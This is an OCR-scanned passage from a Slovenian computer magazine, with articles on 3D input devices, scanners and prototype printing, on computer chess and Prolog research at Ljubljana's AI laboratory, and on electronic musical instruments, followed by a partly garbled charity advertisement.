tekajo obgirne raziskave uporabe tretje razsez-
nosti v monitorjih in kamerah ter seveda s tem
povezane programske opreme (o Cemer bomo
pisali posebej), kakor tudi razvoja 3D-filma in

3D-televizije. Tretja razseinost je %e dosegla
svet grafi¢nih uporabniskih vmesnikov, optic¢-
nih bralnikov, tiskalnikov in naprav za izdelavo
prototipov. Pri nas se o tovrstnih raziskavah in
opremi govori oziroma pise razmeroma malo, ker
je oboje drago in se imajo zaenkrat samo redka
podjetja in ustanove monost s tem sploh ukvar-
jati ali nabaviti nekaj 3D-opreme.

V ratunalni§tvu se velinoma uporabljajo

Raziskovalci menijo, da bi bilo treba za 3D-naprave spremeniti koncept kazalca v bodo¢ih
3D-okoljih, $e zlasti ko bodo operacijski sistemi in posamezne aplikacije postali trirazseni po
delovanju in tudi na videz. Kazalec (kurzor) bi tudi sam moral biti tridimenzionalen in samo-
stojen objekt, za njegovo upravljanje pa bo potrebna posebna 3D-kazalna naprava. V triraz-
sefnem okolju bo kazalec dobil nove znacilnosti in nacine delovanja. Sam po sebi bo postal
zelo mo&no orodje v primerjavi s klasi¢nim kazalcem, ki je seveda dvorazse¥en. Uporabnik se
bo lahko s pritiskom na gumb premes¢al iz enega v drug nacin delovanja. V nadinu »laser« bo
na primer lahko izbral oddaljeni objekt in ga premaknil po osi »Zarka«, v na¢inu »magnet« pa
bo lahko naenkrat »pritegnil« ve& objektov, jih premestil in tudi naenkrat znova »razpriil«.
Raziskovalci v laboratorijih Ze razvijajo razli¢ne reitve novih kazalnih naprav za upravljanje s
3D-kazalcem, ki bi se resni¢no gibal v prostoru. Koliko bi se s tem povecale mo?nosti upravlja-
nja v kompleksnem trirazse?nem okolju lahko samo domnevamo.

Delno predstavo o tem lahko dobimo pri uporabi vecopravilne kazalne naprave Spaceball
5000 podjetja 3Dconnection. Ta je namenjena delu z najnovejso 3D-programsko opremo, ki
seveda tretjo razseZnost le posnema oziroma jo uposteva, medtem ko je sam prikaz e vedno
pravzaprav dvorazse¥en, na monitorjih, kjer je prikaz e vedno le v eni ravnini. Naprava spo-
minja na kazalno napravo s kroglico, le da je zdaj krogla na vrhu miske, ne vdelana v njo, in
med drugim omogoca povecavo, premikanje in vrtenje programskih objektov. Merjenja so
pokazala, da Spaceball za okoli 30 % izboljduje delo s programi za industrijsko oblikovanje
in za vec¢ kot 60 % zmanjsuje gibe roke. Bodo¢e kazalne naprave za resni¢ne 3D-aplikacije s
/“ 3D-prikazovanjem na 3D-monitorjih bodo $e bolj prefinjene in

I . bodo prispevale $e u¢inkovitej$emu delu. Pravzaprav si je tez-
ko sploh zamisliti uporabo resni¢ne 3D-programske opreme

s sedanjim kazalcem in kazalnimi napravami, pa naj bo to

celo najnove;jsi Spaceball 5000.

Napoved prihodnosti: kazalna naprava Spaceball 5000 za ve¢ kot 30
% povecuje ucinkovitost in za veé kot 60 % zmanjSuje gibanje roke
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»klasi¢ne« vmesniske naprave za vnos podatkov,
torej razli¢ne vrste in reitve tipkovnic in misk.
Za potrebe ratunalnitkega oblikovanja in nacr-
tovanja pa so razvili tudi razli¢ne druge naprave,
kot so prostorske miske, 3D-kazalne naprave
s kroglo in veésenzorski tehnoloski sistemi,
sestavljeni iz stereoskopskih projekcijskih za-
slonov, naglavnih zaslonov in prostorskih avdio
naprav. V $tevilnih centrih razvijajo tudi hap-
ti¢ne (taktilne) sisteme, ki omogocajo vnaSanje
podatkov in upravljanje s kretnjami rok kot tudi
celovit ob&utek dotika oddaljenega predmeta,
s katerim interaktivno delamo. V svetu je, na
primer, znana reSitev iTouch, sklop valjastih
lesenih kolei¢kov, povezanih v racunalnik, ki
jo na MIT-u uporablja skupina Tangible Media
Group, na &elu s profesorjem Hiroshijem Ishi-
jem. iTouch omogota verno prenasa gibanje in
»oblutek« dotika s sogovorniki. Zadnje Case je
pozornost strokovne javnosti pritegnila tehno-
logija »svetilne gline« (Illuminating Clay), s
katero preucujejo gradbeniske vplive na okolje
s pomocjo vmesniskih glinenih modelov to-
pografije, ki jih interaktivno spreminjajo kar z
rokami.

TRIRAZSEZNO
OPTIGNO BRANJE
Opti¢no branje v
treh razse¥nostih naj-
ve¢ uporabljajo v raz-
iskovalnih ustanovah
ter visoko specializi-
ranih podrogjih in-
dustrije, medicine in
umetnosti. Veinoma
gre za okorno, zaple-
teno in drago opremo
(med ve¢ deset in ved
sto tiso¢ evrov), ki jo
je skoraj nemogo&e uporabljati v vsakdanjem
Yivljenju. OteZujoci razlog za to so izredni teh-
ni¢ni pogoji, ki se zahtevajo glede osvetljevanja
in nacina branja ter tudi splo$ne strokovnosti
izvajalcev. Splo$no povedano je pri 3D-branju
treba poskrbeti za mehani¢ni sklop za premika-
nje predmeta branja ali Se bolj kamere na ustre-
zen nadin. Izvor svetlobe je obicajno laser. Od-
sevano svetlobo zbira elektronski sklop s tipali,
ki jo pretvarja iz analogne v digitalno oblike. Za
nadaljnje oblikovanje in shranjevanje podatkov
skrbi specializirana programska oprema. Napra-
ve za 3D-branje so lahko roéne (proizvajajo jih
Polhemus, 3D Scanners in drugi), prenosne ne-

Priljubljena linija
podjetja ZGorporation:
tiskalnik za prototipe
Z406, ki je uporabhen
tudi za izdelavo
kalupov

vl i deboindarl b b bt
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Trirazsezno tiskanje: nacin racunalnisko vodene izdelave modela iz polimernega

prahu in lepila

3D-tehnologije

Tiskanje namesto proizvodnje

InZenirji s Kalifornijske univerze v Berkeleyu razvijajo brizgalno tehnologijo, ki naj bi omo-
gotila tiskanje celotnih elektri¢nih in elektronskih »pripomo¢kov«, kot je na primer da-
ljinski krmilnik za TV. Zamisel je, da bi se klasi¢ni ve&stranski postopek, v katerem se izdela
ohiSje in v njem montirajo tiskano vezje, stikala in druge komponente, zamenjal z enim samim
— s tiskanjem. Trik je v samem tiskalniku in v postopku tiskanja, ki naj bi omogoc¢ila nanaganje
sloja za slojem razli¢nih prevodnih, polprevodnih in izolacijskih polimernih snovi, ki bi na
koncu dali kompleten pripomocek oziroma enostavno napravo. Z nanasanjem pametnih poli-
merov se danes izdelujejo funkcionalni prototipi s gibljivimi mehani¢nimi deli kot v resni¢nih
konénih izdelkih. Bistven napredek, ki ga napovedujejo raziskovalci z Berkeleya, je uvajanje
elektronike v tiskane naprave, s ¢em bi se proizvodnja precej poenostavila in izjemno znizali
njeni stroski. Ekipi iz Berkeleya je e uspelo natisniti elektronske dele, kot so tranzistorji, kon-
denzatorji, induktivne tuljave in druge polprevodnigke komponente. Njihovo povezovanje pri
tiskanju je le nov korak napre;j.

Ko bodo razvili ustrezen sistem kartu$ za brizgalni tiskalnik, bodo sposobni »natisniti« da-
ljinski krmilnik, ¥arnico, radio, mobilni telefon, elektronsko igra¢o in druge podobne funkci-
onalne sisteme brez ekstenzivne proizvodnje in montaznih trakov. V natisnjenem krmilniku
bodo gumbi izdelani iz enega polimera, infrardedi oddajnik iz drugega, elektronika iz ve¢ vrst
polimerov; le baterije bodo resni¢ne, naknadno vstavljene. Da bi se izognili vzmetem, bodo za
gumbe uporabili »elektroaktivne« polimere, ki lahko pri pritisku s prstom ustvarjajo elektri¢no
napetost in tako omogocajo upravljanje naprave. Velja tudi nasprotno: da bodo raziskovalci
delovanjem elektri¢ne napetosti spreminjalo obliko in tako omogocalo gibanje. Za tiskanje
Yarnice, na primer, bodo raziskovalci uporabljali prozorne polimere in plasti¢ne oddajnike sve-
tlobe. Od spajanja upogljivih materialov in elektronike, ki se imenuje fleksonika (flexonics),
znanstveniki pri¢akujejo, da bo revolucionamo vplivala na industrijsko oblikovanje. Tiskane
naprave bodo cenejie in zagotovo tudi manj zmogljive, ker so elektri¢ne lastnosti polimerov v
primerjavi s silicijem precej slabse. Polimerni tranzistorji, na primer, imajo stokrat manj3o hi-
trost od silicijskih. Toda tehnologija tiskanja manjsih izdelkov se bo razvijala naprej in Sirila.

TV-krmilnik iz tiskalnika:
prikaz tehnologije

Eartule bizgalnika vaebujeic : 5 seli
alalioniceii EaaEin voets Ilskam_a po zamisli
pramiinih deloy T8 Bakangs T raziskovalcev z
Sl kT Doy Berkeleya
Elaktroniion j vislana
W R poleapira ol
RarEaR2, o6 b bl leplena
ol ok na SN VR
Drafradd kirnirik @ saalmnpne
¥ afubiti phahass sl Be dkajem

koliko ve&jih mer (Konica Minolta) ali e ved-
je stacionarne (Roland Digital Group, Kreon
Industrie, Imageware, Cyberware, Digibotics in
drugi). Za 3D-branje velikih predmetov, kot so
na primer, avtomobili, se uporabljajo zelo velike
in zapletene naprave.

Vetina 3D-bralnikov opravlja svoje delo brez
dotika s predmetom
branja, prek laserske
svetlobe, ki se odbija s
predmeta. S premika-
njem Zarka ali kamere
bralnik obdela totko za
totko predmeta in tako
dobi celotno 3D-sliko.
Za branje z dotikom s
predmetom je najpogo-
stejie sredstvo snema-
nja sonda, names¢ena
na mehani¢no roko.

Cikontan praded ja wislan

¥ prah,
i g8 potam Lshkn cpiremg

Najnovejsi bralnik Vivid 910 podjetja Koni-
ca Minolta, na primer, je precej avtomatiziran,
postopek pa poenostavljen. Bralnik, te¥ak 11 kg,
namre¢ namestimo od 0,6 do 1,2 m od objekta
za snemanje tako, da je njegova slika na iskal-
nem LCD-zaslon¢ku, in pritisnemo sproZilni
gumb. Opti¢ni del vsebuje tri le¢e z gori§em 25,
14 in 8 mm. Slika 3D-modela velikosti 1,6 do
2,4 MB, v formatu STL, DXE OB]J ali VRML se
lahko namesto v ratunalnik nalo?i na 128 MB
pomnilniski kartici.

Znani proizvajalec Cyberware proizvaja 3D-
bralnike za branje glave in telesa, ki so upo-
rabljeni za animacije v $tevilnih filmih in med
drugim za majhne izdelke z veliko podrobnosti.
Auvstralsko podjetije CSIRO pa razvija poceni
dodatke za 3D-branje z obstojec¢imi ploskimi
bralniki. Dodatek bo stal priblizno kot skener in
bo uporaben tudi pri ve¢funkcijskih napravah in
celo nekaterih kopirnih aparatih.
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3D-tehnologije

TISKANJE 3D-MODELOV

Najbolj razgirjene 3D-naprave so tiskalniki,
ki se uporabljajo %e vrsto let, predvsem v indu-
strijskih oddelkih velikih podjetij za izdelavo
prototipov. Za »tiskanje« oziroma ustvarjanje
predmetov se uporabljajo razlitne tehnologije
in plasti¢ni materiali. Predmeti niso uporabni
izdelki za vgradnjo, temve& le modeli, uporabni
za vizualizacijo konceptov, preverjanje na&rtov
in nadaljnji razvoj izdelkov. Vseeno pa je teh-
nologija danes tako razvita, da se lahko ustvar-
jajo funkcionalni modeli in modeli z razli¢no
obarvanimi deli. V prihodnosti bo tehnologija
zagotovo napredovala do mo#nosti izdelave raz-
licnih koné&nih in uporabnih predmetov, kot so
daljinski krmilniki, Zarnice ali mobilni telefoni.
Najbolj razSirjen postopek tiskanja modelov je
stereolitografija, za katero se uporabljajo pla-
\ Hitra izdelava

’ I kalupov: namizni
_A stroj MDX-15

~i za ustvarjanje
prototipov podjetja
Roland, ki stane
le nekaj vec kot
2000 evrov.

sti¢ni materiali, ob¢utljivi na svetlobo, pogosto
naviti kot $iroka folija na valju. Predmeti se iz-
delujejo z radunalnisko vodenim izrezovanjem
sloja za slojem materiala iz Siroke folije. Model je
v ra¢unalniku raz¢lenjen v faze oziroma sloje, po
katerih laserski ¥arek prek optike za usmerjanje
in sklopa za dolo¢anje poloZaja v ravni deluje na

Sintranje brez laserja

lasar

optika

valj za
Sagreavan)e

) bilok
valj izdalka

Zamotavanje

valj za
odmatavanje

S stereolitografijo do prototipa: eden naéinov
modeliranja z nanaSanjem sloja za slojem s traku na
svetlobo obcutljivega materiala

ob&utljivo snov, ki se v opisanem primeru po-
veZe na predhodni sloj s segrevanjem.

Variacija omenjenega postopka je tehnologija
selektivnega laserskega sintranja. Za tiskanje se
namre¢ uporabljajo drobci na svetlobo ob&utlji-
vega prahu. Predmeti se racunalnisko ustvarjajo
sloj za slojem in so trajni, a so manj privla¢ni
od tistih, pridobljenih v postopku stereolitogra-
fije. Postopek, ki najbolj spominja na brizgalno
tiskanje, je t. im. modeliranje s stapljanjem, v
katerem se namesto folije uporablja prah, med-
tem ko se sintranje oziroma zlepljanje izvaja z
laserskim %arkom. Ta tehnologija je edina, s ka-
tero se lahko proizvajajo tudi uporabni izdelki, s
solidnimi mehani¢nimi in fizi¢nimi lastnostmi.

Letos se pojavila podobna tehnologija prof.
Behrokha Khoshnevisa, v kateri se za sintranje

resni¢ne izdelke.

B

Brez laserja: prikaz tehnologije SIS na zacetku (vecja slika Ievu)'in koncu
(manjsa slika levo) ter nekaterih tako izdelanih modelov
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Najnovejsa tehnologija izdelave prototipov s sintranjem, ki jo je
na Univerzi Juzne Kalifornije razvil prof. Behrokh Khoshnevis, 3e
naprej uporablja tiskanje s polimernim prahom (kot sta plostiren
in poliester), toda brez laserja. Tehnologija se imenuje sintranje s se-
lektivnim oviranjem (Selective Inhibition Sintering, SIS). Podobno
kot pri laserskem sintranju 3D-model najprej razvijejo s programsko
opremo CAD. Potem se razbije v zelo tanke navidezne sloje. Posa-
mezni sloj nastane tako, da se nanese sloj polimernega prahu, tanjsi
od 1 mm. Pri laserskem sintranju se opravlja ra¢unalnisko vodeno
stapljanje dolo¢enih delov sloja z laserskim arkom, ki tako postanejo
del modela. Pri tehnologiji SIS pa se nasprotno deli, ki naj ne bi bili
del modela, obdelujejo s sredstvom, ki preprecuje stapljanje. Ko je
sloj pripravljen oziroma dologeni deli zas€iteni proti stapljanju, se ce-
loten sloj izpostavi segrevanju. Nezas¢iteni deli se stopijo, medtem ko
na zas¢itenih ostane prah, ki je na koncu celotnega postopka tiskanja
enostavno odpihnjen. Po mnenju Khoshnevisa bo s tehnologijo SIS
mogod&e poleg plasti¢nih proizvajati tudi kovinske prototipe, pa tudi

Modeliranje v
barvah: kompleksna
oblika izdelana z
razprSevanjem drobcev
v tiskalniku Z406

Use vecji pomen
prakticnega
preverjanja: prototip,
pridobljen z laserskim
osvetljevanjem traku
smolastega materiala

ne uporablja laser (glej okvir), temve& segrevanje
celotnega bloka iz plasti¢nega prahu. V tehnologiji
fuzijskega modeliranja z nanaganjem se uporablja
raztopljena plastika ali drug material, podoben vo-
sku, ki se brizga sloj za slojem. S tem postopkom
3D-tiskanja se zagotavljajo tudi zdr¥ljivi in zmoglji-
vi modeli, ki imajo lahko uporabno vrednost.

PRIHOD 3D-IZDELKOV

Podjetje ZCorporation je razvilo tehnologijo,
v kateri se plasti¢ni drobci razpriujejo po povrini
in tako model neposredno »tiska«. Tovrstna briz-
galna tehnologija ima ve& prednosti, ker je hitra
in poceni ter omogota izdelavo modelov v raz-
li¢nih barvah. Prototipi so po izdelavi porozni in
zato ne preved zdrzljivi, kar pa se lahko spremeni
z dodatno impregnacijo s smolami, voski, poli-
uretanskimi materiali in podobno. Med tovrst-
nimi modeli tiskalnika je posebej zanimiv Z406,
ki je hiter in omogo&a §iroko uporabo, stane pa
manj kot 30.000 dolarjev, kar pa je minimalna
cena za, recimo, tiskalnike znanega podjetja 3D
Systems. Zadnje &ase so v podjetju ZCorporation
razvili zelo uspesen postopek izdelave kalupov
za kovinske odlitke. S pomotjo CAD-opreme
se namre¢ iz nadrta novega izdelka razmeroma
lahko pripravi nacrt kalupa, ki se potem izdela
s katerim od tiskalnikov razreda Z. Tak3ni kalu-
pi so izdelani bistveno hitreje kot s katerim koli
drugim postopkom in so tudi cenejsi.

Kalupi se obitajno delajo iz materiala na
osnovi keramike, ki omogo¢a neposredno litje
kovin z niZjimi temperaturami topljenja, kot so
aluminij, cink in magnezij. Resna konkurenca
3D-tiskalnikom pa lahko postanejo bistveno ce-
nejsi stroji za ratunalni§ko vodeno mehani¢no
izdelavo prototipov iz lesa, plastike in drugih
materialov. Programska oprema za industrijsko
oblikovanje namre¢ omogofa razmeroma pre-
prosto zamenjavo prototipa z ustreznim kalu-
pom, ki pa se potem lahko izdela s prototipnim
mehani¢nim strojem. Posamezni namizni stroji,
kot je Roland MDX-15, stanejo le nekaj ved
kot 2000 evrov. Z dra¥jimi in kakovostnejsimi
modeli so seveda kalupi lahko e boljsi, a Se ved-
no cenejsi od tistih pridobljenih s prototipnim
tiskanjem.

VRATA V 3D-RACUNALNISTVO

3D-grafi¢ni vmesniki, kazalne naprave, bral-
niki, tiskalniki in prototipni stroji so del glav-
nega toka razvoja, ki nas vodi v novo podrocje
trirazse’nega ratunalni§tva. Izredno pomembne
spremembe v tej smeri so se zalele tudi v razvoju
zaslonov in monitorjev ter tudi programske opre-
me. Oboje ima poseben pomen za uporabnike,
ker je operacijski sistem nase osnovno sredstvo
uporabe ra¢unalniske opreme, namenski progra-
mi so orodje njenega prakti¢nega izkori§¢anja,
medtem ko so monitorji nase osnovno sredstvo
komunikacije oziroma interakcije z racunalni-
kom. Od tega je torej odvisen nadaljnji razvoj
celotnega podro&ja trirazse?nega raunalnistva,
kar pa je ¥e posebna tema. Kakorkoli Ze, o¢itno
postaja, da bo v naslednjem desetletju osrednja
tema razvoja racunalnistva prav uvajanje tretje
razse?nosti v dobesednem smislu. W



V PRAKSI

racunalniki in Sah

Ze nekaj Gasa sem si Zelel v nasi rubriki zapisati nekaj o ragunalniskem $ahu v Sloveniji. Kaj neki naj le napigem, sem si
dejal, saj ne poznam niti enega »resnega« programa izpod »peresa« slovenskih avtorjev ...

Pise: Vojko Mencinger
vojko.mencinger@mojmikro.si

rugacen pogled pa se ponuja z drugega
zornega kota — s podro¢ja umetne in-
teligence. A poglejmo najprej malce v
zgodovino.

V tem casu sem ravno zakljuCeval 3tudij
elektrotehnike, kjer sem imel en semester pri-
lofnost poslusati predavanja dr. Ivana Bratka

Prof. Dr: Ivan Bratko, avtor svetovne uspesnice o prologu

(pri predmetu Zanesljivost), danes rednega
profesorja na Fakulteti za ra¢unalni3tvo in in-
formatiko v Ljubljani in vodjo Laboratorija za
umetno inteligenco. V spominu ga imam pred-
vsem kot profesorja z izjemno jedrnatim izraZa-
njem, brez odve&nih »masil«. Ze takrat sem ve-
del, da se dr. Bratko ukvarja tudi z raziskovanji
na podro¢ju ra¢unalniskega Saha. Poznano je
bilo njegovo delo pri analizi kon¢nice trdnjava
proti skakacu. Dr. Bratka pa je bolj kot progra-
miranje $aha zanimala umetna inteligenca. In

vvvvv ¥

tu je naSel odli¢no sticis¢e s Sahom.

Dr. Bratka je pot iz $aha ali prek $aha pri-
peljala v programski jezik PROLOG - beseda
prihaja iz PROgramming in LOGic - osnovno
orodje za programiranje logi¢nih procesov. De-
jal mi je, da sicer ni avtor tega programa, da je
le nekaksen »pritepenec«. Toda tak3ne vrste,
ki je resni¢no vrhunsko zapopadel bistvo sim-
boli¢nega programiranja in od tod tudi eden od
razlogov za izjemen uspeh njegove knjige PRO-
LOG Programming for Artificial Intelligen-
ce. Ta je leta 2001 pri zalozbi Addison-Wesley
dotivelo tretji ponatis — prva izdaja je bila Ze
leta 1986. Naklada: 100.000 izvodov! Za delo
o specialnem programskem jeziku je to zares iz-
jemna Stevilka. Tudi ruski prevod je imel na-

klado 100.000 izvodov. Delo je prevedeno celo
v japons&ino. Protagonisti programskega jezika
prolog so bili v zagetku kot verska sekta. V po-
gosto pretirano pragmati¢no usmerjenih Zdru-
Yenih drfavah Amerike so prvi poskusi uvedbe
prologa kaj hitro propadli — prolog ni dajal
pravih udinkov zanje. Zato je Evropa mo&no
prehitela ZDA v razvoju prologa. Pri tem je po-
membno vlogo igrala ameriska samovse¢nost,
ki izvira iz slogana »Not invented here«. Ame-
ri¢ani namre¢ silno radi podcenjujejo stvari, ki
niso bile odkrite v Ameriki. Ko se pogovarja3
z dr. Bratkom, ima$ obcutek, kot da vecino si-
tuacij, ne le v $ahu, tudi nasploh, razumeva z
vi§jim, simbolnim videnjem. Dejansko te fas-
cinira, kako hitro naredi analizo in ti s prepro-
stimi besedami pove nekaj, kar je za ve&ino nas
smrtnikov zelo zapleteno. Zanimiv je podatek
iz osebne bibliografije dr. Bratka od leta 1970
do 2004, ki vam ga posreduje COBISS (http://
izum.izum.si/bibliografije), in sicer, da je ime-
novan kar pri 316 razli¢nih delih (kot avtor
knjige, ¢lanka, soavtor, mentor ...).

Odgovor dr. Bratka je kratek: Ne. Prolog ni
primeren za pisanje $ahovskega programa v
celoti. Procesiranje s prologom bi trajalo pre-
dolgo. Nekateri deli igre, na primer otvoritev,
so predvsem stvar otvoritvenih knjiznic. V ot-
voritvi je prevel zahtevno in zamudno pisati
modele, po katerih bi se program ravnal. In
e bi zelo hitro napravil usodno napako, ker
ne bi poznal forsirane variante. So pa pozici-
je, kjer se Prolog izkaZe kot zelo hiter reSeva-
lec problemov. Glavni &ar prologa je izjemna
kompaktnost programov. Vzemimo matira-
nje s trdnjavo. To je tudi eden od prakti¢nih
primerov iz omenjene knjige. Ko vidis, da je
celoten problem opisan v samo nekaj deset
programskih vrsticah, se zacudis. Vendar stvar
deluje in program zna dati mat v optimalnem
(a ne minimalnem) $tevilu potez. Za podobno
u¢inkovitost bi v programskem jeziku C++
potrebovali vsaj desetkrat toliko programskih
vrstic!

V poziciji na diagramu program deluje po
osnovnem  nacelu
»stiskaj« = omeje-
vanje prostora. Pri
tem mora paziti, da
ne pride do pata. V
zaletni poziciji to ni
problem, nastopi pa,
ko je kralj v vogalu.

Program odigra prvo
potezo 1.Te6 in s tem
omeji ¢rnega kralja,
ki ima na voljo samo
8 polj. Kaj hitro uspe
programu matirati ¢r-
nega kralja. Metoda
»stiskanja« seveda ne
more konkurirati metodi« tabelari¢nih zbirk
(tablebase), ki je neke vrste groba sila (brute
force) za kon&nice z ogromno porabo pomnil-
niskega prostora.

Stevilni prijemi iz programskega jezika pro-
log se uporabljajo tudi v ra¢unalniskem $ahu
(to trditev bi morda lahko tudi obrnili). Na-
Stel bom samo nekatere, o katerih sem se na
kratko pogovarjal v Laboratoriju za umetno
inteligenco na FRI Ljubljana z Aleksandrom
Sadikovim, ki pripravlja doktorsko disertacijo.
Bistvo te je usmerjeno v to, da ti stroj razlozi
pozicijo oz., da ti da odgovor na vprasanje: Za-
kaj je neka poteza najboljsa?

Algoritem grobe sile (brute force)

Algoritem, ki preverja vse pozicije v danem
trenutku in jim da predznak 1 (true) ali O (fal-
se). To je v bistvu dokaj »primitivna« metoda,
ki se uporablja tudi pri deSifriranja gesel ali
klju¢ev DES (Data Encryption Standard).

Algoritem min-max

Ta se uporablja v vseh igrah, kjer sta v igri
dve nasprotni strani. Program deluje tako, da
takrat, ko je sam na potezi, izbere moZnost z
oceno »max«, ko pa je na potezi nasprotnik,

pa mo¥nost z oceno »min«. V primeru na sliki
bi tako program izbral pot 5-3—10. Pri $ahu se
je pokazalo, da ta metodo ni vedno dobra. Na-
stal je celo rek, da $ahovski programi delujejo
navkljub algoritmu min-max in ne zaradi nje-
ga. Temu so rekli »patologija algoritma min-

max«.
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racunalnlki in Sah

Algoritem alfa-beta

Lahko ga razumemo kot nekakino podmno-
Y¥ico algoritma min-max. algoritem alfa-beta
Ye zelo zgodaj v drevesu variant naredi reze.
Tako silno pohitri izracun, saj Stevilnih variant
sploh ne preratunava.

Preklop s knjiZnice na lastno »misljenje«

To je eden zelo pomembnih kriterijev v
programu. Do kam slepo slediti otvoritveni
knjitnici in kdaj za&eti misliti s svojo »glavo«.
Tukaj sploh ne gre za zapisan algoritem, tem-
vet bolj za problem, s katerim se srecujejo tako
programi kot $ahisti. Pri $ahistih je Se dodaten
problem — vrzeli v spominu.

Seveda me je zanimalo, ali obstaja tudi kak
racunalniski Sahovski program izpod peresa
slovenskih avtorjev. Mag. Sadikov mi je odgo-
voril, da je pred enim letom skupina $tirih di-
plomantov napravila pravi $ahovski program,
ki je po njegovi oceni imel ELO-rating okrog
2100 tock. To je %e kar soliden nasprotnik.
Seveda pa bi bilo treba s programom $e veliko
delati, da bi pridel na vigjo raven.To pa ni bil
namen skupine, saj pri napredku programov
pogosto prihajajo v veljavo taksne stvari, kot
je otvoritvena knjiZnica. To pa ni ve& Al (Ar-
tificial Intelligence).

Obisk na FRI Ljubljana v Laboratoriju za
umetno inteligenco je bil zame nekaksen »od-
klop« za tistih nekaj ur. Odklop od vsakdana,
od gnete, hitenja, mnoZice banalnega ... Nad-
vse prijeten odklop. Sah in umetna inteligenca
—z roko v roki.

GENS UNA SUMUS

glasbena produkcija

Zadnijih nekaj let je bolj ali manj jasno, da se je ve€ina komponent zvocnega
studia preselila v raCunalniSke Skatlice, bodisi kot orodje za snemanije in
obdelavo zvoka ali kot posnemanje samih glasbil.

PiSe: Igor Matiéié
igur.maticic@muimikro.si

okrat bomo za spremembo pokukali ne-

koliko stran od ra¢unalniskih skatlic, na

podrogje modernih glasbil. Igranje glasbil

je (in bi moralo ostati) eno najustvarjal-
nejsih dejavnosti na podro¢ju glasbe. Seveda ne
bomo govorili o klasi¢nih ali tradicionalnih glas-
bilih (to bi bilo primernejse za kako drugo revi-
jo), temvec o nekaterih elektronskih ali drugace
elektrificiranih indtrumentih.

Na tem podro&ju imajo japonski proizvajalci
$e vedno eno vodilnih vlog. Roland, Korg in Ya-
maha so imena, ki jih redno sre¢ujemo %e nekaj
desetletij in o&itno bo tako Se nekaj Casa.

Eno od podrotij, na katerih prevladujeta Ro-
land in Yamaha, so elektronski bobni. Medtem
ko %e nekaj ¢asa veljajo Rolandovi V-Drums za
»pojem« elektronskih bobnov, je Yamaha posla-
la na trg sistem DTXtreme IIS (elektri¢ni bobni
z zvo¢nim modulom). Pripadajo¢i modul med
drugim vsebuje 1757 zelo realisti¢nih zvo¢nih
vzorcev in 90 Ze nastavljenih kompletov bob-
narskih zvokov, seveda primernih za vsako vrsto
glasbenega sloga, ki si ga glasbenik zamisli.

Posamezen »boben« (anglesko pad) je razde-
ljen na tri razli¢na igralna obmo¢ja (da sproZi tri
razli¢ne vrste zvo¢nih vzorcev), poleg tega pa ima
poseben krmilnik (rde¢ gumb potenciometra),
s katerim lahko bobnar neposredno menjava
zvoéne parametre (barva ali visina tona). Podo-
bno so na ve¢ igralnih obmotij razdeljene povr-
Sine Cinel. Zvo¢ni bobnarski modul je zdruzljiv

z datotekami WAV,
za ragiritev knjiZni-
ce zvolnih vzorcev
pa potrebuje kartico
SmartMedia. To je
samo nekaj kapelj v
morju vseh lastnosti
in kakovosti, ki jih
ta bobnarski komplet
ponuja, vendar je kri-
stalno jasno: &asi, ko
bil elektronski boben
le monotono stika-
lo (brez kakr$nekoli
dinamike igranja) za
vklop enega zvo¢nega
vzorca, so Ze davno
pozabljeni.

Moderni elektronski
hobni Yamaha
DTXtreme IIS
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Klaviature, sintetizatorji, delovne postaje in
podobne igratke pa so zadevice, kjer se morajo
proizvajalci pri razvoju Se posebej potruditi. Dej-
stvo je namred, da so njihovi zvoki, generatorji,
zvo¢ni parametri idr. najveckrat nadomesceni z
razli¢nimi ra¢unalni§kimi programi in tako je
prakti¢no edini fizi¢no nenadomestljivi del osta-
la kontrolna klaviatura (¢e odmislimo nekaj na-
debudneZev, ki raje tipkajo z misko po klaviaturi
na zaslonu). Kljub temu pa delovna postaja v
obliki klaviature zaenkrat 3e ne bo izumrla. Za-
dnjih nekaj let je nekako najopaznejia Korgova
serija Triton in verjetno je model Studio (o ka-
terem smo e pisali) tisti temelj, na katerem se bo
gradila prihodnost delovnih postaj.

Vsak proizvajalec pa mora seveda novemu mo-
delu dodati kaksno novost, sicer ne bi bila dovolj
zanimiva za potencialne uporabnike. Tako je na
primer novost Rolandove nove serije delovnih
postaj Fantom-X vdelani in na zunaj zelo opazen
barvni LCD-monitor. Pravzaprav je treba realno
oceniti, da so tovrstne delovne postaje %e od za-
Cetka neke vrste glasbeni ra¢unalniki, tako da je
bila tovrstna poteza samo e vpraSanje &asa. Sicer
pa Roland ogladuje svoj izdelek Fantom-X kot
prvo »giga delovno postajo«, saj ob vseh zvoc-
nih nadgradnjah ponuja ve¢ kot 1 GB zvo¢nega
pomnilnika. Veliko za takino delovno postajo, a
ob&utno premalo, &e gledamo s perspektive upo-
rabnika glasbenoracunalnigkih programov, kjer
1GB danes ne pomeni prav velike $tevilke.

Za sklep Se k skupini Yamahinih glasbil Silent
Strings, ki bi morda lahko pripomogla k popu-
larizaciji in modernizaciji klasi¢nih glasbenih
usmeritev. Ta godala sicer niso namenjena nado-
mes¢anju godal v simfoni¢nem orkestru
(to se vsaj $e nekaj Casa ne bo zgodilo),
pa pa manj togim glasbenim zvrstem
(pop, jazz ipd). Videz teh elektri¢nih go-
dal je izredno zanimiv (namesto akustic-
nega telesa je nakazan samo obod), so pa
tudi zelo prakti¢na. Model Silent Bass
je zgled kakovostnega elektri¢nega
basa z dvema piezzo pretvorniko-
ma in elektroniko, ki omogoca
neposreden linijski izhod (za pri-
klop na ozvocenje ne potrebu-
je vmesnega predojatevalnika
signala). Poleg tega je deloma
zlofljiv, kar lahko bodogemu
lastniku prihrani marsikatero te-
gobo. Kdor se je %e kdaj ukvarjal
s preprostim prevozom velikega

akusti¢nega kontrabasa, dobro ‘
razume, katere so te tegobe ... Yamahin
[ | Silent Bass



Filip, & let

S aiatentR i SReAAEy Benei, I - G5, Eeeirirmy i, Bl

“Prijateljstvo je)

kO nekogﬂ pﬂ f esas. ’

kadar ea ni.”
4 i

& S :

ﬁcr:-k.:- i
ﬂhﬁmnlnﬂnﬁnnﬂdhhﬁhﬂllhmm E“ ihha

rowy| retor, rapreeo, i |im omogods dianje In s tom Bvijon)e.

Sodelulte v jenini dobrodein| sl TA ZDRAYIE OTROK
In nam pomagajite xbirstl srodvtvs ™ kg yorsj nevedone napreve.

| Buinctrura v prbpniy

ﬁa’[iﬂty\/ﬂrﬁar |

Narman platile RESMRATOR DARUJTETUDI VI
Seavilin. rauree 011 100-60MTTTEM T
Raferwnes: 00 44 | 304
Odf 473 22 01 %W
ﬁ imivesirares pyrmll | postil vem bema S tapeinjen platied
sl rus wed ke Yed infermed) veuk tovelcy Jual.




